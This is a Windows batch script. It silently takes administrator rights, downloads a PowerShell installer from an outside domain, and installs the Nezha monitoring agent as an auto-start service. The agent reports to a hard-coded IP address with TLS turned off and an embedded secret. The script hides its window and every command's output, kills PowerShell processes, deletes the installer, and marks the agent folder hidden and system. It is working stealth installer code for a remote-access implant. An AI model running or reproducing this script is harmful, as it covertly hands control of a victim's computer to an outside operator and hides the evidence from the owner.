@echo off
if not "%1"=="background" (
    start /min cmd /c ""%0" background" >nul 2>&1
    exit /b
)

fltmc >nul 2>&1 || (
    powershell -NoProfile -NonInteractive -Command "Start-Process -FilePath '%0' -ArgumentList 'background' -Verb RunAs -WindowStyle Hidden" >nul 2>&1
    exit /b
)

setlocal enabledelayedexpansion
chcp 65001 >nul 2>&1

set "INSTALL_FILE=C:\install.ps1"
set "DOWNLOAD_URL=https://ccpan.224idc.xyz/down.php/91073aca401fbd08a0d669a8fcb7e29d.ps1"
set "SERVICE_NAME=nezha-agent"
set "NEZHA_DIR=C:\nezha"
set "AGENT_EXE=!NEZHA_DIR!\nezha-agent.exe"

if not exist "!INSTALL_FILE!" (
    powershell -NoProfile -NonInteractive -Command "(New-Object System.Net.WebClient).DownloadFile('!DOWNLOAD_URL!', '!INSTALL_FILE!')" >nul 2>&1
)

powershell -NoProfile -NonInteractive -Command "$env:NZ_SERVER='154.222.25.139:3333';$env:NZ_TLS='false';$env:NZ_CLIENT_SECRET='SIiyU0mgiYbrs6o1unjbeDULyCRircF0'; [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12; set-ExecutionPolicy RemoteSigned -Force; Invoke-WebRequest https://raw.githubusercontent.com/nezhahq/scripts/main/agent/install.ps1 -OutFile '!INSTALL_FILE!' -ErrorAction SilentlyContinue; & powershell.exe '!INSTALL_FILE!'" >nul 2>&1

if exist "!INSTALL_FILE!" (
    taskkill /f /im powershell.exe /t >nul 2>&1
    del /f /q /a "!INSTALL_FILE!" >nul 2>&1
)

sc queryex "!SERVICE_NAME!" | findstr /i "RUNNING" >nul 2>&1
if errorlevel 1 (
    if not exist "!AGENT_EXE!" (exit /b 1)
    sc create "!SERVICE_NAME!" binPath= "!AGENT_EXE!" start= auto displayname= "Nezha Monitor Agent" >nul 2>&1
    sc start "!SERVICE_NAME!" >nul 2>&1
    set "WAIT_COUNT=0"
    :CHECK_START
    sc queryex "!SERVICE_NAME!" | findstr /i "RUNNING" >nul 2>&1
    if errorlevel 1 (
        set /a WAIT_COUNT+=1
        if !WAIT_COUNT! gtr 10 (exit /b 1)
        timeout /t 1 /nobreak >nul
        goto CHECK_START
    )
)

if exist "!NEZHA_DIR!" (
    attrib +h +s "!NEZHA_DIR!" >nul 2>&1
)

exit /b 0